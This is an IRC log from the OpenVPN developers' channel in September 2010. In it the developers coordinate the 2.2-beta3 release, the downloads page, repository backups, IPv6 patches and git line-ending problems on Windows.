[~k@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 16:08 <@cron2> hah 16:08 <@cron2> 201036 in openwrt 16:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Sun Sep 05 2010 01:56 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 02:10 -!- krzie [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 03:15 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:38 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:17 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 12:23 -!- krzie [krzee@unaffiliated/krzee] has joined #openvpn-devel 13:01 -!- krzie [krzee@unaffiliated/krzee] has quit [Quit: Leaving] 13:01 -!- krzie [krzee@unaffiliated/krzee] has joined #openvpn-devel 14:04 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:20 -!- krzie [krzee@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:43 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 19:56 -!- krzie [krzee@unaffiliated/krzee] has joined #openvpn-devel 21:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 21:13 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:27 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Ping timeout: 276 seconds] 22:27 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel --- Day changed Mon Sep 06 2010 02:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:18 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:27 -!- dazo_afk is now known as dazo 02:54 <@dazo> chantra_afk: thx! I'll give him the info! 03:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:03 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 03:19 -!- krzie [krzee@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 03:23 < djc> ls -l 03:35 <@cron2> no files 03:38 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has quit [Read error: Connection reset by peer] 03:39 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 03:46 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 04:20 -!- agi [~agi@manson.entorno-digital.com] has quit [Quit: dato] 04:46 <@dazo> heh 05:01 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:54 -!- asker [c168711f@78.129.202.38] has joined #openvpn-devel 05:55 < asker> Hi all. New to IRC. Please let developers know, there is no changelog update to version 2.1.3 05:55 -!- asker [c168711f@78.129.202.38] has quit [Client Quit] 06:00 <@dazo> gee ... log on log off ... 07:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:01 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:46 * cron2 remembers that Kazuyoshi-san's tap-on-solais patches need testing and integration... 09:50 <@dazo> cron2: I believe you're the owner of that ticket in Trac ;-) 09:50 <@cron2> yeah, he just sent a new patch for 2.1.3 to -devel 09:51 <@dazo> nice! 09:51 <@cron2> so much work, so little time, still no release of 2.2-beta3 09:51 <@dazo> mattock: ^^^ ... we're getting impatient now ... 09:52 * cron2 was getting impatient 3 weeks ago 09:52 <@dazo> can we get some kind of announcement and windows binaries out soon? 09:52 <@dazo> cron2: well, now even I begin to be a bit impatient as well 09:52 <@dazo> cron2: https://community.openvpn.net/openvpn/ticket/10 .... I trust you'll take care of that ticket :) 09:52 < vpnHelper> Title: #10 (Solaris tun/tap support) – OpenVPN Community (at community.openvpn.net) 09:53 <@cron2> Solaris is next on my list of "the tun.c code needs some cleanup to make 'make check' succeed" 09:53 <@cron2> (it's not un-configuring the ipv6 tun interface properly) 09:53 <@cron2> so I need to tackle that one anyway 10:31 <@mattock> any news on James' 2.2-beta3 build? 10:32 <@cron2> has anyone besides you seen it yet? 10:32 <@mattock> cron2: I haven't seen anything 10:33 <@cron2> mattock: you have tested it on Thursday 10:33 <@mattock> oh yes... forgot :D 10:34 <@mattock> seems james has not made the release yet... too bad 10:34 <@mattock> he's not moving too fast 10:35 <@mattock> I'll ask access to the source code for the "Community downloads" page 10:35 <@mattock> from him 10:35 <@mattock> it seems it's best if we make the releases ourselves 10:45 <@dazo> indeed ... 10:46 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:58 <@cron2> indede 10:58 <@cron2> argh, fat fingers... 11:22 <@mattock> ok, just sent mail to James asking him to make 2.2-beta3 release "as soon as possible"... I told you're getting restless (as am I, in fact) 11:22 <@mattock> also asked him to give me access to the Downloads page source code 11:23 <@mattock> so that I can modify it, e.g. to link to our snapshots 11:57 <@dazo> mattock: thx! 11:57 <@dazo> mattock: when will the meeting minutes come out? 12:11 -!- gh0zt [~adam@unaffiliated/gh0zt] has joined #openvpn-devel 12:16 -!- dazo is now known as dazo_afk 12:52 -!- krzie [krzee@unaffiliated/krzee] has joined #openvpn-devel 13:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 14:18 -!- gh0zt [~adam@unaffiliated/gh0zt] has left #openvpn-devel ["Abducted by aliens!"] 14:37 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 17:20 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 20:38 -!- krzee [~k@unaffiliated/krzee] has quit [Remote host closed the connection] 22:29 -!- krzie is now known as krzee 22:37 < krzee> https://forums.openvpn.net/viewtopic.php?f=10&t=7073 22:37 < vpnHelper> Title: OpenVPN Support Forum View topic - Windows Client Source Code + Build Instructions (at forums.openvpn.net) 22:37 < krzee> i know the source code is the same, but dont know what to tell him as far as how to build it 22:38 < krzee> i looked in the tgz, done see instructions 22:53 < krzee> dont* 23:53 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel --- Day changed Tue Sep 07 2010 00:20 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 01:21 <@mattock> dazo: I'll write the summary today 02:27 < vpnHelper> RSS Update - tickets: #48: Convert the OpenVPN man-page to DocBookXML format 02:35 <@mattock> ok, summary sent 02:35 <@mattock> I'll fix the client software downloads page issue now 02:54 -!- dazo_afk is now known as dazo 02:55 <@mattock> screenshot of the new downloads page: http://users.utu.fi/sjsepp/downloadspage.png 02:56 <@mattock> let me know what you think 02:56 <@mattock> I'll fix the front page now 02:56 <@mattock> the "OpenVPN Windows Client Download" link leads here: 02:56 <@mattock> http://openvpn.net/index.php/open-source/downloads.html 02:56 < vpnHelper> Title: Downloads (at openvpn.net) 02:57 <@mattock> didn't want to create a direct link to, say, 2.1.3 installer or it's always broken 02:59 <@mattock> Frank had already added a warning to the Access server client download link 02:59 <@mattock> saying that it's not fully compatible with stock OpenVPN 03:01 <@mattock> it seems I can't edit the front page... I'll ask Frank to copy-and-paste my modifications there 03:10 <@dazo> mattock: that makes sense to me 03:10 <@mattock> great! 03:11 <@mattock> I'm sending mail to Frank, asking him to push it to production and to fix the front page 03:11 <@dazo> of course, I'd prefer the Access Server client download at the very bottom of the page, in light grey shade and a tiny font without a logo .... but that might be to stretch it a bit too far :-P 03:13 <@mattock> yep :) 03:13 <@mattock> mail sent to frank 03:13 <@dazo> cool! I hope this will be tackled soon 03:14 <@dazo> any words about 2.2-beta3 03:14 <@mattock> I'll check my mails now 03:14 <@mattock> nope, not yet 03:15 <@mattock> if there's no response in the evening, I can nag to James using Skype 03:16 <@mattock> I'll disable SF.net forums now 03:18 <@mattock> they got 2.5 weeks time to respond 03:18 <@mattock> hopefully they read the announcement I wrote 03:18 <@dazo> there have been ticking in a few things there ... but, I'm guessing ignorance is more the word to describe those users 03:18 <@mattock> ok, forums are now disabled: http://sourceforge.net/projects/openvpn/support 03:18 < vpnHelper> Title: SourceForge.net: OpenVPN - Support (at sourceforge.net) 03:18 <@mattock> or rather, available to project members only, similarly to the SF.net tracker 03:19 <@dazo> perfect! 03:19 <@dazo> Now we just need to get JJK active on our new forums and Trac instances :-P 03:19 <@mattock> oh yes :) 03:20 <@mattock> has he been active on SF.net forums? 03:20 <@mattock> if so, it's better I send him mail about this 03:20 <@dazo> yeah, he's been keeping pretty good track on stuff going on there 03:23 <@dazo> mattock: have we prepared the announcement message for 2.2-beta3? 03:24 <@mattock> I prepared one for 2.2-beta1 (or 2) 03:24 <@mattock> are there any additional changes I should mention? 03:24 <@dazo> if nothing happens ... I'm tempted to suggest using the URL james gave in the meeting last week, together with links for sources from build.openvpn.net ... to get it somehow "out the door" 03:25 <@dazo> mattock: if you do a "git show v2.2-beta3" in the git tree, I'm adding the changelog info as part of the tag message 03:26 <@mattock> ok, I'll do that 03:26 <@dazo> What's worth highlighting is: 03:26 <@dazo> Fix compile problems on NetBSD and OpenBSD 03:26 <@dazo> Fix compile time problems on OpenBSD for good 03:26 <@mattock> seems to work 03:26 <@dazo> Fixes openssl-1.0.0 compilation warning 03:28 <@dazo> hmm ... you can even do: git tag -v v2.2-beta3 ... which even validates the gpg signature 03:29 <@mattock> ok, sent mail to JJK 03:29 <@dazo> cool, thx! 03:30 <@mattock> I'll update the release announcement 03:30 <@mattock> btw. regarding SF.net backups... the only thing we use actively on SF.net is the Git repo... I wonder if there's anything worth backing up there anymore 03:31 <@dazo> true ... well, backup of the git repos ... /home/scm_git/o/op/openvpn/* (iirc) is something we should have some regular backups of 03:32 <@mattock> ok, I'll check out how that's done 03:33 <@mattock> dazo: you created this really nice list of commits sorted by author (for beta1)... could you create one for beta3? 03:33 <@mattock> e.g. 03:33 <@mattock> David Sommerseth (22): 03:33 <@mattock> Reworked the eurephia patch for inclusion to the openvpn-testing tree 03:33 <@mattock> Added mapping files from SVN commit ID to more descriptive commit IDs. 03:33 <@mattock> verb 5 logging wrongly reports received bytes 03:33 <@dazo> that's already in the tag description ;-) 03:33 <@dazo> it's not many commits there ... and it covers the diff between each tag 03:34 <@mattock> ok, I'll add them manually, then 03:34 < djc> any thoughts about this patch? 03:34 < djc> http://bugs.gentoo.org/show_bug.cgi?id=335563 03:34 < vpnHelper> Title: Gentoo Bug 335563 - IPv6 payload for net-misc/openvpn-2.1.2 (at bugs.gentoo.org) 03:34 <@dazo> ahh ... well, I don't have something very automatic :) I'm using the git request-pull feature to do that ... but I need to go through and clean it up a bit 03:34 < djc> full ipv6 support is coming in 2.2, right? 03:35 <@dazo> djc: in 2.3, if cron2 feels ready for it 03:35 <@mattock> dazo: I assume all of these commits are from James' SVN repo: 03:35 <@mattock> git show v2.2-beta2 03:36 <@dazo> mattock: that's from the beta2.2 branch, where James stuff is pulled in (as I used his changelog for his stuff, I don't list the git commits there for his commits - that would be quite a duplication of message) 03:36 < djc> dazo: okay, so there might be some value in extending the current patch with the payload patch, I guess 03:36 <@dazo> djc: the ipv6 stuff from cron2 is already in the allmerged branch ... so we're looking for ways how to test that ;-) 03:37 <@dazo> djc: yeah ... I would probably pull out a patch from our git tree, for both JJO's IPv6 transport patch and cron2's IPv6 payload patch ... as there they merge perfectly together now 03:38 <@dazo> djc: but, beware ... we have a potential issue with JJO's patch, breaking the --multihome feature ... we've not had time to really confirm it, and JJO have not responded to my queries 03:39 <@dazo> djc: what if we try to join the forces again putting up the Gentoo overlay for beta and open-testing ... and people can play with that one? 03:40 <@dazo> djc: that way, cron2 can get more people testing what is upstream .... getting queries about older patches, can be more challenging 03:40 <@dazo> cron2: please chime in, with your thoughts ... 03:44 <@mattock> ok, updated release announcement is available here: http://pastie.org/1143237 03:45 * dazo reads 03:45 <@mattock> argh, lacks linefeed 03:45 <@mattock> annoying 03:46 <@dazo> I get too many line-feeds several places ... 03:46 <@dazo> looking good 03:48 <@mattock> ok, great 03:48 <@mattock> I'll send the updated announcement to James (for sending to -announce ml) 03:49 <@mattock> sent 03:50 <@mattock> hmm, SF.net Git repo backup is trivial: rsync -av openvpn.git.sourceforge.net::gitroot/openvpn/* . 03:50 <@mattock> and that actually works 03:50 <@dazo> nice! 03:50 <@dazo> and you got both -testing and -historical-cvs? 03:50 <@mattock> I'll add a script to our backup server 03:51 <@mattock> everything 03:51 <@dazo> perfect! 03:51 <@mattock> openvpn-testing.git and openvpn-historical-cvs.git 03:51 <@mattock> as well as openvpn/* (hooks, objects, etc.) 03:52 <@dazo> Btw ... I'm planning on doing some tricks with the git tree when we're about to release the official 2.2 release in the future ... I'll probably try to straigthen out the commit log and history to be linear, and move that over to a openvpn.git tree ... as having a release in a -testing tree might be a bit strange ... what do you think about that? 03:54 <@dazo> I'm further thinking about how to improve the development process ... as we at some point want's to migrate completely away from SVN (and I thought the 2.2 release would be a nice point for that) 03:55 <@dazo> Mainly focusing on where to merge in the different patches (to which branches) etc, etc 03:56 <@dazo> today's routine works, but can need some enhancements to make it flow even smoother - and without too much confusing commit logs ... as 'git request-pull' messages now is a bit tricky, having a more linear model will make such tools even simpler to use 04:03 <@cron2> uh 04:03 <@cron2> someone called. reading backlog 04:03 <@dazo> heh :) 04:04 <@dazo> cron2: discussion with djc 04:04 <@mattock> james responded now, I'll take care of the sf.net backup first and then see what he has to say 04:04 <@dazo> mattock: cool! perfect! 04:04 <@mattock> ok, he gave me instruction on how to make the release myself :D 04:04 <@dazo> gee ... gotta be very late or very early for him by now .... depending on if he has slept or not 04:04 <@mattock> he tends to wake up early 04:04 <@dazo> I see :) 04:05 <@mattock> I think it's 5AM where he lives 04:05 <@dazo> I thought he was on the east coast ... the it's probably closer to 2-3AM 04:05 <@dazo> s/east/west/( 04:06 <@dazo> it's 5AM on the east coast now 04:06 <@cron2> djc: ok, the thing with IPv6 payload is: I am using this on a daily basis, and our corporate OpenVPN also uses it, with no adverse effect. OTOH, the OpenVPN developers are ultra-conservative regarding inclusion of "new and only lighted tested things", so we decided to get out 2.2 somewhat quickly, and then integrate the full IPv6 payload and IPv6 transport stuff into 2.3 - which needs someone to review the code ("4 eyes spot more potential bugs"), 04:06 <@cron2> djc: so, for the time being, I think it would be useful to add the payload patch with a USE flag to the ebuild 04:07 <@mattock> I think he lives in Colorado: http://www.timetemperature.com/tzus/colorado_time_zone.shtml 04:07 < vpnHelper> Title: Colorado Time Zone (at www.timetemperature.com) 04:07 <@mattock> 3 AM 04:07 <@dazo> :) 04:08 <@dazo> cron2: or to get a -testing.git tree as an overlay? based on ecrist bi-weekly builds? 04:09 <@cron2> dazo: I think it would be good to have both. -testing has the potential to be really broken (even if we've managed to never let that happen yet), while the existing IPv6 patchsets are fairly stable - the referenced patch set has been published in march, and so far, no bugs, only success reports 04:09 <@cron2> and with the USE flags, the user can control what they want to have in their build 04:10 <@dazo> cron2: fair enough ... we're also thinking about pushing beta stuff to the overlay, but that's another story 04:11 <@dazo> cron2: but that also means we should help out producing a patch which includes the merge of feat_ipv6_payload and feat_ipv6_transport, which can be hooked into the ipv6 USE flag? As using yours and JJO's separately might not merge so well together? 04:13 <@cron2> dazo: if they go for "USE=ipv6 -> have both feat_ipv6* patches", then yes, that would make things easier 04:15 <@dazo> yeah ... I sensed that was the intention ... and even if having a separate USE flag for your patch ... they might then have to be exclusive, to avoid patching issues ... and I'd presume it would make sense to test both patches 04:38 <@mattock> ok, git repo backup in place 04:38 <@dazo> cool! Perfect! 04:38 -!- Kasanoba [~Kasanoba@121.1.41.148] has joined #openvpn-devel 04:40 <@mattock> after lunch I'll update the Community software downloads page sources and send them to James 04:58 -!- Kasanoba [~Kasanoba@121.1.41.148] has quit [] 05:31 -!- krzee [krzee@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 05:40 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:10 <@mattock> hmm, the script James is using for releases is really nasty 06:11 <@mattock> we definitely need something simpler and robust the next time 06:12 <@mattock> the script explains why James did not make 2.1.1 available after publishing 2.1.2 06:15 <@mattock> if we use it as-is, 2.1.3 will disappear, and we don't want that 06:22 <@cron2> no, the stuff needs to take 2.1.x (potentially multiple versions) and 2.2.x (definitely multiple betas) into account 06:22 <@cron2> or just abandon the idea of "update the download page via script" and give mattock access 06:23 <@mattock> yeah, I'd prefer doing this manually 06:24 <@mattock> I'll see if James is in Skype 06:27 <@mattock> nope, I'll send him mail 06:43 <@mattock> cron2, dazo: I'll send James my proposal and CC you 06:43 <@cron2> sounds good 06:47 <@dazo> mattock: ack! 06:48 <@mattock> I'm trying to figure out what exactly the scripts are doing... there's lot of perl and bash there 06:48 <@mattock> and still it's partially manual process, and very dependent on correct environment (e.g. file locations) 06:49 <@dazo> eek ... sounds like a little mess 06:50 * cron2 knows how the mgetty release script looks like, and can imagine 06:50 <@cron2> "all these bits had their uses, at some time in the past, when the actual setup 'which bit runs where' was different" 07:18 <@mattock> mail sent, you'll get the idea what the scripts do 07:19 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 07:21 <@dazo> mattock: that script sounded like a pretty nasty framework to maintain ... I agree, keep it stupidly simple - that's more flexible in the long run 07:37 <@cron2> +1 08:47 <@cron2> dazo, mattock: does one of you have contacts to the Tunnelblick maintainers? This project is quite active (http://code.google.com/p/tunnelblick/wiki/wRlsNotes) and I'd love to see a tunnelblick-with-openvpn-testing version... :-) 08:47 < vpnHelper> Title: wRlsNotes - tunnelblick - Release Notes - Tunnelblick - Project Hosting on Google Code (at code.google.com) 08:47 <@cron2> (with IPv6, of course) 08:47 * dazo does not :( 08:48 <@dazo> but I agree with the intention! 08:53 < djc> Tunnelblick is awesome 08:56 < ecrist> it is 08:59 <@mattock> cron2, dazo: I've mailed the Tunnelblick maintainer once 09:06 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 09:07 <@cron2> djc: indeed 09:07 <@cron2> mattock: and...? 09:10 < ecrist> I took a poop this morning. 09:11 < ecrist> :P 09:12 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:16 <@cron2> mmmmmh, so much to do, so little time... otherwise I'd try building my own tunnelblick.dmg with openvpn-testing, and distribute that to the employees here - everything is fully IPv6 capable, just the default tunnelblick dmg used by people isn't 09:19 -!- mattock [~samuli@gprs-prointernet-ffebc200-197.dhcp.inet.fi] has joined #openvpn-devel 09:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 10:18 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:34 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:36 -!- mattock [~samuli@gprs-prointernet-ffebc200-197.dhcp.inet.fi] has quit [Ping timeout: 252 seconds] 10:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:22 -!- krzee [krzee@unaffiliated/krzee] has joined #openvpn-devel 12:24 -!- dazo is now known as dazo_afk 13:20 -!- mattock [~samuli@gprs-prointernet-ff666a00-89.dhcp.inet.fi] has joined #openvpn-devel 13:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:24 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 13:33 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 13:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:38 -!- mattock [~samuli@gprs-prointernet-ff666a00-89.dhcp.inet.fi] has quit [Ping timeout: 272 seconds] 13:38 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:21 < ecrist> I'm starting to think we can tone-down the spam filtering on the forums 14:21 < ecrist> I think the 2 message minimum is a non-issue with PWM as the auth backend for now 14:22 < ecrist> we can always turn it back on in the future. 14:22 < ecrist> thoughts? 15:36 < raidz> ecrist: I agree with you on that 15:36 < raidz> Is that regarding the post aproval for new posts? 15:44 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 20:25 < krzie> https://forums.openvpn.net/viewtopic.php?f=4&t=7061 20:25 < vpnHelper> Title: OpenVPN Support Forum View topic - strange 2.1.3 routing table at WinXP Pro (at forums.openvpn.net) 20:25 < krzie> could this person have uncovered a very odd bug? --- Day changed Wed Sep 08 2010 00:22 < ecrist> raidz: yes 00:22 * ecrist removes post count requirement until it becomes an issue again 02:17 -!- krzee [krzee@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 02:33 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 03:39 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:03 -!- dazo_afk is now known as dazo 04:07 <@dazo> krzee: re: the forum post ... it is definitely connected to these two lines: 04:07 <@dazo> push "redirect-gateway def1" 04:07 <@dazo> push "route remote_host 255.255.255.255 net_gateway" 04:09 <@dazo> To be very honest, the last line sounds rather bogus to me .... I'm not sure 'remote_host' was ever expected to be used on *that* position ... but, it would be cool to get JJK to look at this one, he would probably catch this one quicker 04:13 <@dazo> the thing is that with 2.1.3, --route will now expand all given hostnames to separate routes (git commit f9b2ada0eece06158c / SVN r6291) ... it can be that be that this backfires now for some strange reasons, when using remote_host on that position 04:14 <@dazo> anyway, the last line should not really be needed with --redirect-gateway 04:33 < djc> my trac comments get rejected as potential spam... 04:39 <@dazo> ugh .... djc, I'll let mattock know about it ... that's his table :) 04:40 <@dazo> djc: have you set your "Real Name" in the Trac preferences? I believe that's important, iirc 04:42 < djc> setting Real Name doesn't help, still fails 06:25 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:27 <@mattock> dazo, cron2: shall we release 2.2-beta3 tomorrow? 06:27 <@mattock> james seemed to be ok with manually editing the download pages 06:50 <@cron2> mattock: as soon as you can :-) 06:50 <@cron2> btw, I won't make tomorrow's meeting - I'll be in a plane MUC->AMS at 20:00 :-) 06:50 <@mattock> ok, I'll edit the openvpn.net staging area tomorrow morning... frank can then push the pages to production in the evening or the day after 06:51 <@mattock> ok, so you and dazo can't make it... I wonder if we should skip tomorrow's meeting 06:51 <@mattock> and James may or may not attend, depending on various factors :) 07:24 <@cron2> hrm, git-for-windows sucks 07:25 <@cron2> it will (by default) autoconvert nl->cr+nl, which results in "git diff shows every line as changed" 07:25 <@cron2> this is NOT useful 07:27 <@dazo> cron2: eek ... but I think there are some arguments to avoid that in git 07:27 * dazo does some searches 07:28 <@cron2> at installation time (of the precompiled bundle) one can choose whether you want conversion or not 07:28 * cron2 reinstalls and sets the [X] this is not recommended checkbox 07:28 <@dazo> it should be a run-time argument as well 07:28 <@dazo> core.eol 07:28 <@dazo> Sets the line ending type to use in the working directory for files that have the text property set. Alternatives are lf, crlf and native, which uses the platform's native line ending. The default value is native. See gitattributes(5) for more information on end-of-line conversion. 07:28 <@dazo> git config core.eol 07:28 <@dazo> http://www.kernel.org/pub/software/scm/git/docs/git-config.html 07:29 <@dazo> also check out core.safecrlf 07:29 <@dazo> CRLF conversion bears a slight chance of corrupting data. When it is enabled, git will convert CRLF to LF during commit and LF to CRLF during checkout. 07:30 <@dazo> core.autocrlf seems safer though 07:30 <@cron2> that's what it activates by default, but "git diff" is not aware of that 07:30 <@cron2> so the crlf is converted, and then git diff sees this as "change" 07:31 <@dazo> ahh 07:32 <@cron2> but since I'm editing with msys vi anyway, I don't need no steenking CRs in my sources 07:32 <@dazo> :) 07:34 <@dazo> cron2: http://kerneltrap.org/mailarchive/git/2008/4/16/1451644 ... here's a nice walkthrough ... you'll probably need to re-checkout the files though 07:34 < vpnHelper> Title: Re: crlf with git-svn driving me nuts... | KernelTrap (at kerneltrap.org) 07:37 <@cron2> hehe, yes, "driving me nuts" matches :-) - that's what I did, just removed openvpn-testing tree and re-checked-out 07:37 <@cron2> the tree on this machine was stale anyway 07:37 <@dazo> it seems core.autocrlf = true is the "correct" value on Windows to avoid this ... then it should be tackled correctly ... 07:38 <@dazo> and git diff should then know the files have been "modified" with crlf and where to ignore it 07:39 <@cron2> well, it didn't, for me - "git clone ... openvpn-testing.git", then "git diff" -> every single file, every single line 07:39 <@dazo> can you the try core.autocrlf=input ? 07:40 <@cron2> nah :-) - enough crlf for me for today, and I really don't need DOS line endings here 07:40 <@cron2> msys+gcc are happy with unix line endings 07:40 <@dazo> :) 07:41 <@dazo> some other ones can fight with it later on :) 08:00 <@cron2> mattock: is the 2.2-beta3 windows .exe somewhere I can access it? I want to build a windows installer with signed tap driver... 08:01 <@dazo> cron2: james gave an URL in the meeting last thursday ... should be in the meeting summaries 08:01 <@dazo> http://secure.openvpn.net/openvpn-2.2 08:01 < vpnHelper> Title: Index of /openvpn-2.2 (at secure.openvpn.net) 08:02 <@cron2> mattock: ... and if you could get James to provide an updated "prebuilt" archive for 2.2 (http://openvpn.net/prebuilt/)... 08:02 < vpnHelper> Title: Index of /prebuilt (at openvpn.net) 08:02 <@cron2> dazo: thanks, will check 08:03 <@cron2> ah, there's a tap-dist.zip 08:03 <@dazo> :) 08:13 <@cron2> dazo: in your tree, what's the version in "version.m4"? 08:13 <@cron2> (in allmerged) 08:14 <@dazo> cron2: in allmerged it is 2.1.3a 08:14 <@cron2> ok, this explains why I got what I have - a windows binary based on allmerged that claims "I'm 2.1.3a". 08:15 <@dazo> git ls-tree origin/allmerged version.m4 08:15 <@dazo> 100644 blob f0541e37e3151d80841c3a1079b77855232b0c35 version.m4 08:15 <@dazo> $ git show f0541e37e3151d80841c3a1079b77855232b0c35 08:15 <@dazo> :) 08:15 <@cron2> humm. should I use another branch, or edit version.m4 to reflect that this is "-devel-201036"? 08:15 <@cron2> how does krzee generate his version numbers? 08:15 <@cron2> s/krzee/ecrist/ 08:15 <@dazo> cron2: you can edit version.m4 in your feat_ipv6_wintap branch .... 08:16 <@dazo> and I'll just happily ignore changes in that branch on that file 08:16 <@cron2> that's somewhat missing the point :-) - if I build "allmerged", the resulting binary is *not* "2.1.3", it's "somewhere beyond 2.2" 08:16 <@dazo> ahh 08:17 <@dazo> Have a look at the bootstrap.sh script 08:17 <@dazo> I think ecrist uses parts of that for modifying the version.m4 file on-the-fly 08:17 <@dazo> (that script is only available in allmerged) 08:21 <@cron2> yep, that was the missing piece "get allmerged, and then run bootstrap.sh, don't do manual branching" 08:21 <@dazo> :) 08:22 <@cron2> *rebuilding* 08:22 <@dazo> I should probably fix that script to not do the branching stuff ... how did you say it, so little time, so much to do ... 08:23 < ecrist> are we releasing beta3 today? 08:23 <@cron2> ecrist: we hope so 08:23 <@cron2> today or tomorrow 08:23 * dazo was not aware of the release being so close :-P 08:23 * ecrist pushes the port out the door 08:26 <@dazo> I've been running 2.2-beta3 on one box since Aug 27 and a 2.2-beta2 with the OpenSSL 1.0.0 patch since Aug 17 ... so I would say that this looks like to be a pretty stable beta release so far 08:27 <@dazo> (both Linux 32bit ... CentOS 5.5 and Gentoo) 08:28 <@cron2> I sometimes wonder whether there's any changes between 2.1 and 2.2 that are significant enough to cause instabilities... 08:28 <@cron2> we spend far too much time on getting releases not done... we should spend the time on development 08:28 <@dazo> well, we have included quite a lot of community patches (~50) and some of them does quite some changes to code which is known to be stable 08:29 <@dazo> and then there' 08:29 <@dazo> there's about 30 patches from James 08:29 <@dazo> which even adds some new features 08:31 <@dazo> if you do 'git show v2.2-beta{1,2,3}' you'll get an overview 08:32 <@cron2> fatal: ambiguous argument 'v2.2-beta3': unknown revision or path not in the work 08:32 <@cron2> Use '--' to separate paths from revisions 08:32 <@dazo> huh? 08:32 <@cron2> ah, wrong branch 08:33 <@dazo> that shouldn't be related to branches .... that's tag names .... 08:33 <@dazo> hmmm 08:35 <@cron2> maybe the tree that I was testing this on wasn't current enough 08:35 <@dazo> that could be :) 08:35 * ecrist suggests the weekly snapshots. 08:35 < ecrist> ;) 08:35 <@dazo> git fetch will just download stuff (not modify checked out files), and you can look at stuff 08:36 <@dazo> heh :) 08:36 <@cron2> yep, now it works 08:36 <@dazo> \o/ 08:37 * dazo is relieved! 08:38 <@cron2> (git.sourceforge.net seems to be a bit flakey today, got a few "connection lost" errors?!) 08:38 <@dazo> hmm ... not good ... 08:38 